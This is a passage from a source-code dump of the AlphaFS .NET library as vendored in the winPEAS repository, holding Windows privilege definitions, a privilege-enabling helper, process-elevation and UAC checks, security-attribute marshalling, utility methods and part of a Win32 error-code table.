Privilege("SeCreatePagefilePrivilege"); /// Required to create a permanent object. User Right: Create permanent shared objects. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege CreatePermanent = new Privilege("SeCreatePermanentPrivilege"); /// Required to create a symbolic link. User Right: Create symbolic links. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege CreateSymbolicLink = new Privilege("SeCreateSymbolicLinkPrivilege"); /// Required to create a primary token. User Right: Create a token object. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege CreateToken = new Privilege("SeCreateTokenPrivilege"); /// Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege Debug = new Privilege("SeDebugPrivilege"); /// Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be trusted for delegation. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege EnableDelegation = new Privilege("SeEnableDelegationPrivilege"); /// Required to impersonate. User Right: Impersonate a client after authentication. /// Windows XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP SP2, and Windows 2000 SP4. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege Impersonate = new Privilege("SeImpersonatePrivilege"); /// Required to increase the base priority of a process. User Right: Increase scheduling priority. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege IncreaseBasePriority = new Privilege("SeIncreaseBasePriorityPrivilege"); /// Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege IncreaseQuota = new Privilege("SeIncreaseQuotaPrivilege"); /// Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege IncreaseWorkingSet = new Privilege("SeIncreaseWorkingSetPrivilege"); /// Required to load or unload a device driver. User Right: Load and unload device drivers. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege LoadDriver = new Privilege("SeLoadDriverPrivilege"); /// Required to lock physical pages in memory. User Right: Lock pages in memory. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege LockMemory = new Privilege("SeLockMemoryPrivilege"); /// Required to create a computer account. User Right: Add workstations to domain. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege MachineAccount = new Privilege("SeMachineAccountPrivilege"); /// Required to enable volume management privileges. User Right: Manage the files on a volume. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege ManageVolume = new Privilege("SeManageVolumePrivilege"); /// Required to gather profiling information for a single process. User Right: Profile single process. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege ProfileSingleProcess = new Privilege("SeProfileSingleProcessPrivilege"); /// Required to modify the mandatory integrity level of an object. User Right: Modify an object label. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Relabel")] public static readonly Privilege Relabel = new Privilege("SeRelabelPrivilege"); /// Required to shut down a system using a network request. User Right: Force shutdown from a remote system. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege RemoteShutdown = new Privilege("SeRemoteShutdownPrivilege"); /// Required to perform restore operations. This privilege causes the system to grant all write access control to any file, regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, this privilege enables you to set any valid user or group SID as the owner of a file. User Right: Restore files and directories. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege Restore = new Privilege("SeRestorePrivilege"); /// Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege identifies its holder as a security operator. User Right: Manage auditing and security log. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege Security = new Privilege("SeSecurityPrivilege"); /// Required to shut down a local system. User Right: Shut down the system. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege Shutdown = new Privilege("SeShutdownPrivilege"); /// Required for a domain controller to use the LDAP directory synchronization services. This privilege enables the holder to read all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege SyncAgent = new Privilege("SeSyncAgentPrivilege"); /// Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: Modify firmware environment values. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege SystemEnvironment = new Privilege("SeSystemEnvironmentPrivilege"); /// Required to gather profiling information for the entire system. User Right: Profile system performance. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege SystemProfile = new Privilege("SeSystemProfilePrivilege"); /// Required to modify the system time. User Right: Change the system time. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege SystemTime = new Privilege("SeSystemtimePrivilege"); /// Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files or other objects. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege TakeOwnership = new Privilege("SeTakeOwnershipPrivilege"); /// This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this privilege. User Right: Act as part of the operating system. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Tcb")] public static readonly Privilege Tcb = new Privilege("SeTcbPrivilege"); /// Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege TimeZone = new Privilege("SeTimeZonePrivilege"); /// Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Cred")] [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege TrustedCredManAccess = new Privilege("SeTrustedCredManAccessPrivilege"); /// Required to undock a laptop. User Right: Remove computer from docking station. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege Undock = new Privilege("SeUndockPrivilege"); /// Required to read unsolicited input from a terminal device. User Right: Not applicable. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege UnsolicitedInput = new Privilege("SeUnsolicitedInputPrivilege"); #endregion // System Privileges #region Fields private readonly string _name; private readonly string _systemName; #endregion // Fields #region Constructors /// Create a new instance, representing the specified privilege on the specified system. /// Name of the system. /// The privilege to copy the privilege name from. public Privilege(string systemName, Privilege privilege) { if (Utils.IsNullOrWhiteSpace(systemName)) throw new ArgumentNullException("systemName", Resources.Privilege_Name_Cannot_Be_Empty); _systemName = systemName; if (null != privilege) _name = privilege._name; } /// Create a new instance, representing a privilege with the specified name on the local system. /// The name. private Privilege(string name) { if (Utils.IsNullOrWhiteSpace(name)) throw new ArgumentNullException("name", Resources.Privilege_Name_Cannot_Be_Empty); _name = name; } #endregion // Constructors #region Properties /// Gets the system name identifying this privilege. /// The system name identifying this privilege. public string Name { get { return _name; } } #endregion // Properties #region Methods /// Retrieves the display name that represents this privilege. /// The display name that represents this privilege. [SecurityCritical] public string LookupDisplayName() { const uint initialCapacity = 10; var bufferSize = initialCapacity; var displayName = new StringBuilder((int) bufferSize); uint languageId; Retry: var success = NativeMethods.LookupPrivilegeDisplayName(_systemName, _name, ref displayName, ref bufferSize, out languageId); var lastError = Marshal.GetLastWin32Error(); if (!success) { if (lastError == Win32Errors.ERROR_INSUFFICIENT_BUFFER) { displayName = new StringBuilder((int) bufferSize + 1); goto Retry; } NativeError.ThrowException(lastError, _name); } return displayName.ToString(); } /// Retrieves the locally unique identifier (LUID) used on to represent this privilege (on the system from which it originates). /// the locally unique identifier (LUID) used on to represent this privilege (on the system from which it originates). [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Luid")] [SecurityCritical] public long LookupLuid() { LUID luid; var success = NativeMethods.LookupPrivilegeValue(_systemName, _name, out luid); var lastError = Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError, _name); return Filesystem.NativeMethods.LuidToLong(luid); } /// Serves as a hash function for a particular type. /// A hash code for the current Object. public override int GetHashCode() { return !Utils.IsNullOrWhiteSpace(Name) ? Name.GetHashCode() : 0; } /// Returns the system name for this privilege. /// This is equivalent to . /// A that represents the current . public override string ToString() { return Name; } /// Indicates whether the current object is equal to another object of the same type. /// An object to compare with this object. /// true if the current object is equal to the parameter; otherwise, false. public bool Equals(Privilege other) { return null != other && GetType() == other.GetType() && Equals(Name, other.Name) && Equals(_systemName, other._systemName); } /// Determines whether the specified is equal to the current . /// The to compare with the current . /// true if the specified is equal to the current ; otherwise, false. /// public override bool Equals(object obj) { var other = obj as Privilege; return null != other && Equals(other); } /// Implements the operator == /// A. /// B. /// The result of the operator. public static bool operator ==(Privilege left, Privilege right) { return ReferenceEquals(left, null) && ReferenceEquals(right, null) || !ReferenceEquals(left, null) && !ReferenceEquals(right, null) && left.Equals(right); } /// Implements the operator != /// A. /// B. /// The result of the operator. public static bool operator !=(Privilege left, Privilege right) { return !(left == right); } #endregion // Methods } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/PrivilegeEnabler.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.Diagnostics.CodeAnalysis; using System.Linq; namespace Alphaleonis.Win32.Security { /// Used to enable one or more privileges. The privileges specified will be enabled during the lifetime of the instance. Users create an instance of this object in a using statement to ensure that it is properly disposed when the elevated privileges are no longer needed. public sealed class PrivilegeEnabler : IDisposable { #region PrivilegeEnabler private readonly List _enabledPrivileges = new List(); /// Initializes a new instance of the class. /// This will enable the privileges specified (unless already enabled), and ensure that they are disabled again when /// the object is disposed. (Any privileges already enabled will not be disabled). /// /// The privilege to enable. /// Additional privileges to enable. public PrivilegeEnabler(Privilege privilege, params Privilege[] privileges) { _enabledPrivileges.Add(new InternalPrivilegeEnabler(privilege)); if (privileges != null) foreach (Privilege priv in privileges) _enabledPrivileges.Add(new InternalPrivilegeEnabler(priv)); } #endregion // PrivilegeEnabler #region Dispose /// Makes sure any privileges enabled by this instance are disabled. [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")] public void Dispose() { foreach (InternalPrivilegeEnabler t in _enabledPrivileges) { try { t.Dispose(); } catch { // We ignore any exceptions here } } } #endregion // Dispose #region EnabledPrivileges /// Gets the enabled privileges. Note that this might not contain all privileges specified to the constructor. Only the privileges actually enabled by this instance is returned. /// The enabled privileges. public IEnumerable EnabledPrivileges { get { return from priv in _enabledPrivileges where priv.EnabledPrivilege != null select priv.EnabledPrivilege; } } #endregion // EnabledPrivileges } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/ProcessContext.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.ComponentModel; using System.Diagnostics; using System.Diagnostics.CodeAnalysis; using System.Globalization; using System.Reflection; using System.Runtime.InteropServices; using System.Security.Principal; using Microsoft.Win32; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Security { /// [AlphaFS] Class to determine the context of the current process. public static class ProcessContext { #region Properties /// [AlphaFS] Determines if the current process is run in the context of an Administrator. /// true if the current process is run in the context of an Administrator; otherwise, false. public static bool IsAdministrator { get { WindowsIdentity windowsIdentity; var principal = GetWindowsPrincipal(out windowsIdentity); using (windowsIdentity) return // Local Administrator. principal.IsInRole(WindowsBuiltInRole.Administrator) || // Domain Administrator. principal.IsInRole(512); } } /// [AlphaFS] Determines if UAC is enabled and that the current process is in an elevated state. /// If the current User is the default Administrator then the process is assumed to be in an elevated state. /// This assumption is made because by default, the default Administrator (disabled by default) gets all access rights without showing an UAC prompt. /// /// true if UAC is enabled and the current process is in an elevated state; otherwise, false. public static bool IsElevatedProcess { get { return IsUacEnabled && (GetProcessElevationType() == NativeMethods.TOKEN_ELEVATION_TYPE.TokenElevationTypeFull || IsAdministrator); } } /// [AlphaFS] Determines if UAC is enabled by reading the "EnableLUA" registry key of the local Computer. /// true if the UAC status was successfully read from registry; otherwise, false. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Uac")] public static bool IsUacEnabled { get { using (var uacKey = Registry.LocalMachine.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\System", false)) return null != uacKey && uacKey.GetValue("EnableLUA").Equals(1); } } /// [AlphaFS] Determines if the current process is run in the context of a Windows Service. /// true if the current process is run in the context of a Windows Service; otherwise, false. public static bool IsWindowsService { get { WindowsIdentity windowsIdentity; var principal = GetWindowsPrincipal(out windowsIdentity); using (windowsIdentity) return principal.IsInRole(new SecurityIdentifier(WellKnownSidType.LocalSystemSid, null)) || principal.IsInRole(new SecurityIdentifier(WellKnownSidType.ServiceSid, null)); } } #endregion // Properties private static WindowsPrincipal GetWindowsPrincipal(out WindowsIdentity windowsIdentity) { windowsIdentity = WindowsIdentity.GetCurrent(); if (null == windowsIdentity) throw new InvalidOperationException(Resources.GetCurrentWindowsIdentityFailed); return new WindowsPrincipal(windowsIdentity); } /// [AlphaFS] Retrieves the elevation type of the current process. /// A value. [SuppressMessage("Microsoft.Naming", "CA2204:Literals should be spelled correctly", MessageId = "GetTokenInformation")] [SuppressMessage("Microsoft.Naming", "CA2204:Literals should be spelled correctly", MessageId = "OpenProcessToken")] private static NativeMethods.TOKEN_ELEVATION_TYPE GetProcessElevationType() { SafeTokenHandle tokenHandle; var success = NativeMethods.OpenProcessToken(Process.GetCurrentProcess().Handle, NativeMethods.TOKEN.TOKEN_READ, out tokenHandle); var lastError = Marshal.GetLastWin32Error(); if (!success) throw new Win32Exception(lastError, string.Format(CultureInfo.CurrentCulture, "{0}: OpenProcessToken failed with error: {1}", MethodBase.GetCurrentMethod().Name, lastError.ToString(CultureInfo.CurrentCulture))); using (tokenHandle) using (var safeBuffer = new SafeGlobalMemoryBufferHandle(Marshal.SizeOf(Enum.GetUnderlyingType(typeof(NativeMethods.TOKEN_ELEVATION_TYPE))))) { uint bytesReturned; success = NativeMethods.GetTokenInformation(tokenHandle, NativeMethods.TOKEN_INFORMATION_CLASS.TokenElevationType, safeBuffer, (uint) safeBuffer.Capacity, out bytesReturned); lastError = Marshal.GetLastWin32Error(); if (!success) throw new Win32Exception(lastError, string.Format(CultureInfo.CurrentCulture, "{0}: GetTokenInformation failed with error: {1}", MethodBase.GetCurrentMethod().Name, lastError.ToString(CultureInfo.CurrentCulture))); return (NativeMethods.TOKEN_ELEVATION_TYPE) safeBuffer.ReadInt32(); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/SecurityAttributes.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security.AccessControl; namespace Alphaleonis.Win32.Security { internal static partial class NativeMethods { /// Class used to represent the SECURITY_ATTRIBUTES native Win32 structure. /// The SECURITY_ATTRIBUTES structure contains the security descriptor for an object and specifies whether the handle retrieved by specifying this structure is inheritable. /// This structure provides security settings for objects created by various functions, such as CreateFile, CreatePipe, CreateProcess, RegCreateKeyEx, or RegSaveKeyEx. /// [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] internal sealed class SecurityAttributes : IDisposable { // Removing the StructLayout attribute results in errors. [MarshalAs(UnmanagedType.U4)] private int _length; private readonly SafeGlobalMemoryBufferHandle _securityDescriptor; public SecurityAttributes(ObjectSecurity securityDescriptor) { var safeBuffer = ToUnmanagedSecurityAttributes(securityDescriptor); _length = safeBuffer.Capacity; _securityDescriptor = safeBuffer; } public SecurityAttributes(ObjectSecurity securityDescriptor, bool inheritHandle) : this(securityDescriptor) { InheritHandle = inheritHandle; } public bool InheritHandle { get; set; } /// Marshals an ObjectSecurity instance to unmanaged memory. /// A safe handle containing the marshalled security descriptor. /// The security descriptor. [SuppressMessage("Microsoft.Performance", "CA1822:MarkMembersAsStatic")] private static SafeGlobalMemoryBufferHandle ToUnmanagedSecurityAttributes(ObjectSecurity securityDescriptor) { if (null == securityDescriptor) return new SafeGlobalMemoryBufferHandle(); var src = securityDescriptor.GetSecurityDescriptorBinaryForm(); var safeBuffer = new SafeGlobalMemoryBufferHandle(src.Length); try { safeBuffer.CopyFrom(src, 0, src.Length); return safeBuffer; } catch { safeBuffer.Close(); throw; } } public void Dispose() { if (null != _securityDescriptor && !_securityDescriptor.IsClosed) _securityDescriptor.Close(); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Utils.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.ComponentModel; using System.Diagnostics.CodeAnalysis; using System.Globalization; using System.Text; namespace Alphaleonis { internal static class Utils { // Source: https://stackoverflow.com/questions/6275980/string-replace-ignoring-case/45756981#45756981 /// Returns a new string in which all occurrences of a specified string in the current instance are replaced with another specified string, ignoring any casing difference. internal static string ReplaceIgnoreCase(this string str, string oldValue, string newValue) { if (null == str) throw new ArgumentNullException("str"); if (str.Trim().Length == 0) return str; if (null == oldValue) throw new ArgumentNullException("oldValue"); if (oldValue.Trim().Length == 0) throw new ArgumentException("String cannot be of zero length."); // Prepare string builder for storing the processed string. var resultStringBuilder = new StringBuilder(str.Length); // Analyze the replacement: replace or remove. var isReplacementNullOrWhiteSpace = IsNullOrWhiteSpace(newValue); int foundAt; const int valueNotFound = -1; var startSearchFromIndex = 0; while ((foundAt = str.IndexOf(oldValue, startSearchFromIndex, StringComparison.OrdinalIgnoreCase)) != valueNotFound) { // Append all characters until the found replacement. var charsUntilReplacment = foundAt - startSearchFromIndex; var isNothingToAppend = charsUntilReplacment == 0; if (!isNothingToAppend) resultStringBuilder.Append(str, startSearchFromIndex, charsUntilReplacment); if (!isReplacementNullOrWhiteSpace) resultStringBuilder.Append(newValue); // Prepare start index for the next search. // This needed to prevent infinite loop, otherwise method always start search // from the start of the string. For example: if an oldValue == "EXAMPLE", newValue == "example" // and comparisonType == "any ignore case" will conquer to replacing: // "EXAMPLE" to "example" to "example" to "example" infinite loop. startSearchFromIndex = foundAt + oldValue.Length; if (startSearchFromIndex == str.Length) { // It is end of the input string: no more space for the next search. // The input string ends with a value that has already been replaced. // Therefore, the string builder with the result is complete and no further action is required. return resultStringBuilder.ToString(); } } // Append the last part to the result. var charsUntilStringEnd = str.Length - startSearchFromIndex; resultStringBuilder.Append(str, startSearchFromIndex, charsUntilStringEnd); return resultStringBuilder.ToString(); } /// Gets an attribute on an enum field value. /// The description belonging to the enum option, as a string /// One of the enum types. [SuppressMessage("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] public static string GetEnumDescription(Enum enumValue) { var enumValueString = enumValue.ToString(); var fi = enumValue.GetType().GetField(enumValueString); var attributes = (DescriptionAttribute[]) fi.GetCustomAttributes(typeof(DescriptionAttribute), false); return attributes.Length > 0 ? attributes[0].Description : enumValueString; } /// Checks that the object is not null. public static bool IsNotNull(T obj) { return !Equals(null, obj); } /// Indicates whether a specified string is null, empty, or consists only of white-space characters. /// true if the parameter is null or , or if consists exclusively of white-space characters. /// The string to test. public static bool IsNullOrWhiteSpace(string value) { #if NET35 if (null != value) { for (int index = 0, l = value.Length; index < l; ++index) if (!char.IsWhiteSpace(value[index])) return false; } return true; #else return string.IsNullOrWhiteSpace(value); #endif } /// Converts a number of type T to string formated using , suffixed with a unit size. public static string UnitSizeToText(T numberOfBytes) { // CultureInfo.CurrentCulture uses the culture as set in the Region applet. return UnitSizeToText(numberOfBytes, CultureInfo.CurrentCulture); } /// Converts a number of type T to string formated using the specified , suffixed with a unit size. public static string UnitSizeToText(T numberOfBytes, CultureInfo cultureInfo) { var sizeFormats = new[] {"B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB"}; const int kb = 1024; var index = 0; var bytes = Convert.ToDouble(numberOfBytes, CultureInfo.InvariantCulture); if (bytes < 0) bytes = 0; else while (bytes > kb) { bytes /= kb; index++; } // Will return "512 B" instead of "512,00 B". return string.Format(cultureInfo, "{0} {1}", bytes.ToString(index == 0 ? "0" : "0.##", cultureInfo), sizeFormats[index]); } public static int CombineHashCodesOf(T1 arg1, T2 arg2) { unchecked { var hash = 17; hash = hash * 23 + (!Equals(arg1, default(T1)) ? arg1.GetHashCode() : 0); hash = hash * 23 + (!Equals(arg2, default(T2)) ? arg2.GetHashCode() : 0); return hash; } } public static int CombineHashCodesOf(T1 arg1, T2 arg2, T3 arg3) { unchecked { var hash = CombineHashCodesOf(arg1, arg2); hash = hash * 23 + (!Equals(arg3, default(T3)) ? arg3.GetHashCode() : 0); return hash; } } public static int CombineHashCodesOf(T1 arg1, T2 arg2, T3 arg3, T4 arg4) { return CombineHashCodesOf(CombineHashCodesOf(arg1, arg2), CombineHashCodesOf(arg3, arg4)); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Win32Errors.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32 { internal static class Win32Errors { /// Use this to translate error codes into HRESULTs like 0x80070006 for ERROR_INVALID_HANDLE. public static int GetHrFromWin32Error(uint errorCode) { return (int) unchecked((int) 0x80070000 | errorCode); } // System Error Codes. // http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381%28v=vs.85%29.aspx // Win32 Error Codes. // https://infosys.beckhoff.com/content/1033/tcdiagnostics/html/tcdiagnostics_win32_errorcodes.htm public const uint ERROR_INVALID_FILE_SIZE = 0xFFFFFFFF; /// (0) The operation completed successfully. public const uint ERROR_SUCCESS = 0; /// (0) The operation completed successfully. public const uint NO_ERROR = 0; /// (1) Incorrect function. public const uint ERROR_INVALID_FUNCTION = 1; /// (2) The system cannot find the file specified. public const uint ERROR_FILE_NOT_FOUND = 2; /// (3) The system cannot find the path specified. public const uint ERROR_PATH_NOT_FOUND = 3; //public const uint ERROR_TOO_MANY_OPEN_FILES = 4; /// (5) Access is denied. public const uint ERROR_ACCESS_DENIED = 5; //public const uint ERROR_INVALID_HANDLE = 6; //public const uint ERROR_ARENA_TRASHED = 7; //public const uint ERROR_NOT_ENOUGH_MEMORY = 8; //public const uint ERROR_INVALID_BLOCK = 9; //public const uint ERROR_BAD_ENVIRONMENT = 10; //public const uint ERROR_BAD_FORMAT = 11; //public const uint ERROR_INVALID_ACCESS = 12; /// (13) The data is invalid. public const uint ERROR_INVALID_DATA = 13; //public const uint ERROR_OUTOFMEMORY = 14; /// (15) The system cannot find the drive specified. public const uint ERROR_INVALID_DRIVE = 15; //public const uint ERROR_CURRENT_DIRECTORY = 16; /// (17) The system cannot move the file to a different disk drive. public const uint ERROR_NOT_SAME_DEVICE = 17; /// (18) There are no more files. public const uint ERROR_NO_MORE_FILES = 18; //public const uint ERROR_WRITE_PROTECT = 19; //public const uint ERROR_BAD_UNIT = 20; /// (21) The device is not ready. public const uint ERROR_NOT_READY = 21; //public const uint ERROR_BAD_COMMAND = 22; //public const uint ERROR_CRC = 23; //public const uint ERROR_BAD_LENGTH = 24; /// (25) The drive cannot locate a specific area or track on the disk. public const uint ERROR_SEEK = 25; //public const 